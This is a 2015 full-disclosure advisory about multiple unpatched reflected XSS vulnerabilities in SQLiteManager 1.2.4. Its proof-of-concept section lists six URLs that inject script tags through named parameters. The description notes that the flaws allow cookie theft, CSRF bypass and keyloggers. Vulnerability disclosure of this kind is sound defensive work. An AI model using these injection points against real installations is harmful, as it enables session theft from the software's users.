
SQLiteManager 1.2.4: Multiple XSS
Date: 2015-10-07 15:58:36Update: This vulnerability was already present and known in the previous 1.2.0 version of SQLiteManager (CVE-2007-1231). The project is no longer maintained.
1. Introduction
Affected Product: | SQLiteManager 1.2.4 |
Fixed in: | not fixed |
Fixed Version Link: | n/a |
Vendor Contact: | sqlitemanager@gmail.com |
Vulnerability Type: | XSS |
Remote Exploitable: | Yes |
Reported to vendor: | 09/01/2015 |
Disclosed to public: | 10/07/2015 |
Release mode: | Full Disclosure |
CVE: | n/a |
Credits | Tim Coen of Curesec GmbH |
2. Vulnerability Description
There are multiple XSS vulnerabilities in SQLiteManager 1.2.4. With this, it is possible to steal cookies, bypass CSRF protection, or inject JavaScript keyloggers.
3. Proof of Concept
http://localhost/SQLiteManager-1.2.4/main.php?dbsel=2&function="><script>alert(1)</script>
http://localhost/SQLiteManager-1.2.4/main.php?dbsel=2&table="><script>alert(1)</script>
http://localhost/SQLiteManager-1.2.4/main.php?dbsel=2&trigger="><script>alert(1)</script>
http://localhost/SQLiteManager-1.2.4/main.php?dbsel=2&view="><script>alert(1)</script>
http://localhost/SQLiteManager-1.2.4/main.php?dbsel=2&action=browseItem&DisplayQuery=</textarea><script>alert(1)</script>
http://localhost/SQLiteManager-1.2.4/main.php?dbsel=1&table=t1&action=insertElement¤tPage=0'"><script>alert(1)</script>
4. Solution
This issue was not fixed by the vendor.
5. Report Timeline
09/01/2015 | Informed Vendor about Issue (no reply) |
09/22/2015 | Reminded Vendor of disclosure date (no reply) |
10/07/2015 | Disclosed to public |